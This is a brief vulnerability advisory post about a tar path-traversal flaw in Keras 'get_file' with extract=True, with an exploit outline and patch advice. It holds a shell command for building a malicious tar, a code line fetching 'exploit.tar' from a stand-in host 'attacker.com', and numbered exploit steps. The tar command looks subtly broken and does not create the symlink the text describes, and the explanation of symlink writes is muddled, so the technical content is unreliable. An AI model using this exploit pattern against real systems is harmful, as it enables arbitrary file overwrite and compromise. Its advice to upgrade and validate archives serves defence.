Listen to this Post
The vulnerability in the Keras `keras.utils.get_file` API stems from its insecure extraction of tar archives. When the `extract=True` parameter is used, the function internally relies on Python’s `tarfile.extractall()` method. This method, by default, does not safely handle symbolic links within archives. A maliciously crafted tar file can contain a symlink that points to a critical location outside the intended extraction target directory, such as ../../../etc/passwd. During extraction, the API follows this symlink and writes the linked file’s contents to this arbitrary filesystem location. This path traversal flaw allows an attacker to overwrite or create files anywhere the application has write permissions, potentially leading to remote code execution or system compromise. The core issue is linked to the Python `tarfile` module’s weakness, but merely patching Python is insufficient; Keras itself must be updated to implement safe extraction practices.
Platform: Keras
Version: <3.12
Vulnerability: Path Traversal
Severity: High
date: 2024-10-30
Prediction: 2024-11-13
What Undercode Say:
Simulating malicious tar creation tar --format=gnu -cvf exploit.tar --sort=name --mtime="2024-10-30" \ --owner=0 --group=0 --numeric-owner \ --transform 's|^./||' \ -L /etc/passwd ./symlink
Example of vulnerable Keras code
from keras.utils import get_file
get_file("malicious.tar", origin="http://attacker.com/exploit.tar", extract=True)
How Exploit:
Craft tar with symlinks.
Host malicious archive.
Trigger get_file(extract=True).
Protection from this CVE
Upgrade to Keras 3.12.
Use safe extraction filter.
Validate archive contents.
Impact:
Arbitrary File Overwrite
Potential RCE
System Compromise
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
